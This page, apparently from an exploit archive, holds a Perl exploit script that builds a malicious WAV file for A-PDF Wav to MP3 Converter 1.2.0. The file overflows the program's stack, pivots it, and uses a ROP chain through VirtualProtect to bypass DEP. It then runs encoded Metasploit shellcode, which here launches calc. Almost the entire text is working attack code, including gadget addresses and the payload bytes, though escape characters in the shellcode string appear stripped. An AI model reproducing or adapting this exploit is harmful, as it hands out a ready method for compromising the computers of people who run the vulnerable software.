[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : A-PDF Wav to MP3 Converter v 1.2.0 DEP Bypass
# Published : 2011-05-13
# Author :
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# Exploit Title: A-PDF Wav to MP3 Converter v 1.2.0 DEP Bypass
# Software Link: http://www.a-pdf.com/wav-to-mp3/a-pdf-wtm.exe
# Version: 1.2.0
# Tested on: Win XP SP3 French
# Date: 12/05/2011
# Author: h1ch4m (Hicham Oumounid)
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com
# Big thanks to corelanc0d3r for the Help & the Precious advices
my $file= "Exploit.wav";
####################### STACK PIVOT ###########################
my $EIP = pack('V', 0x100040CF); # RETN - wavtomp3.exe - ** Null byte **
# not enough space for the ROP and Shellcode, so: sub esp,1030 & we land in the beginning of our payload(ROP)
my $SP = pack('V', 0x004A394A); # POP ECX # RETN [Module : wavtomp3.exe] ** Null byte ** - [ Ascii printable - null byte]
$SP .= pack('V', 0x00001030); # 1030h
$SP .= pack('V', 0x00478D2C); # PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN [Module : wavtomp3.exe] ** Null byte **
$SP .= "A" x 16;
$SP .= pack('V', 0x00401D3C); # MOV EAX,EDX # RETN [Module : wavtomp3.exe] ** Null byte **
$SP .= pack('V', 0x004130DE); # SUB EAX,ECX # RETN [Module : wavtomp3.exe] ** Null byte **
$SP .= pack('V', 0x0041097B); # XCHG EAX,ESP # RETN [Module : wavtomp3.exe] ** Null byte **
####################### STACK POINTER ###########################
my $ROP = pack('V', 0x00478D2C); # PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN [Module : wavtomp3.exe] ** Null byte **
$ROP .= "A" x 16;
$ROP .= pack('V', 0x00401D3C); # MOV EAX,EDX # RETN [Module : wavtomp3.exe] ** Null byte **
$ROP .= pack('V', 0x10004642); # ADD ESP,18 # RETN [Module : lame_enc.dll] ** Null byte **
############ VirtualProtect() Parameters ############
$ROP .= pack('V', 0x7c801ad4); # VirtualProtect() 0x7c801ad4 Kernel32.dll
$ROP .= "AAAA"; # Parameter 1
$ROP .= "BBBB"; # Parameter 2
$ROP .= "CCCC"; # Parameter 3
$ROP .= "DDDD"; # Parameter 4
$ROP .= pack("V", 0x10054000); # Writeable address
###################### PARAMETER 1 ###########################
$ROP .= pack('V', 0x0040808F); # ADD EAX,10 # RETN [Module : wavtomp3.exe] ** Null byte **
$ROP .= pack('V', 0x1002B936); # ADD EAX,0C # RETN [Module : lame_enc.dll] **
$ROP .= pack('V', 0x0040F944); # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : wavtomp3.exe] ** Null byte **
$ROP .= pack('V', 0x00401D3C); # MOV EAX,EDX # RETN [Module : wavtomp3.exe] ** Null byte **
$ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1002B23D); # ADD EAX,20 # RETN [Module : lame_enc.dll] **
$ROP .= pack('V', 0x1002B910); # ADD EAX,8 # RETN [Module : lame_enc.dll] **
$ROP .= pack('V', 0x00402ABC); # MOV DWORD PTR DS:[ECX],EAX # RETN [Module : wavtomp3.exe] ** Null byte **
###################### PARAMETER 2 ###########################
$ROP .= pack('V', 0x10002388); # MOV DWORD PTR DS:[ECX+4],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll] ** Null byte **
###################### PARAMETER 3 ###########################
$ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] **
$ROP .= "A" x 4;
$ROP .= pack('V', 0x100023D1); # MOV DWORD PTR DS:[ECX+8],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll] ** Null byte **
###################### PARAMETER 4 ###########################
$ROP .= pack('V', 0x1002B23D) x 2; # ADD EAX,20 # RETN [Module : lame_enc.dll] **
$ROP .= pack('V', 0x100023A8); # MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll] ** Null byte **
################### Jump To VirtualProtect() #####################
$ROP .= pack('V', 0x004027D9); # MOV EAX,ECX # RETN [Module : wavtomp3.exe] ** Null byte **
$ROP .= pack('V', 0x0040BFC1); # SUB EAX,4 # RETN [Module : wavtomp3.exe] ** Null byte **
$ROP .= pack('V', 0x0041097B); # XCHG EAX,ESP # RETN [Module : wavtomp3.exe] ** Null byte **
####################### NOPS ###########################
my $NOPS = "x90" x (300 - length($ROP));
####################### SHELLCODE ###########################
# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "xdaxddxbfxb0x1ax64x4fxd9x74x24xf4x58x31xc9" .
"xb1x32x31x78x17x83xc0x04x03xc8x09x86xbaxd4" .
"xc6xcfx45x24x17xb0xccxc1x26xe2xabx82x1bx32" .
"xbfxc6x97xb9xedxf2x2cxcfx39xf5x85x7ax1cx38" .
"x15x4bxa0x96xd5xcdx5cxe4x09x2ex5cx27x5cx2f" .
"x99x55xafx7dx72x12x02x92xf7x66x9fx93xd7xed" .
"x9fxebx52x31x6bx46x5cx61xc4xddx16x99x6exb9" .
"x86x98xa3xd9xfbxd3xc8x2ax8fxe2x18x63x70xd5" .
"x64x28x4fxdax68x30x97xdcx92x47xe3x1fx2ex50" .
"x30x62xf4xd5xa5xc4x7fx4dx0exf5xacx08xc5xf9" .
"x19x5ex81x1dx9fxb3xb9x19x14x32x6exa8x6ex11" .
"xaaxf1x35x38xebx5fx9bx45xebx07x44xe0x67xa5" .
"x91x92x25xa3x64x16x50x8ax67x28x5bxbcx0fx19" .
"xd0x53x57xa6x33x10xa9x57x8ex8cx3excex7bxed" .
"x22xf1x51x31x5bx72x50xc9x98x6ax11xccxe5x2c" .
"xc9xbcx76xd9xedx13x76xc8x8dxf2xe4x90x51";
my $junk = "x41" x (4128 - length($ROP.$NOPS.$shellcode));
open($FILE,">$file");
print $FILE $ROP.$NOPS.$shellcode.$junk.$EIP.$SP;
close($FILE);
print "File Created successfullyn";
sleep(1);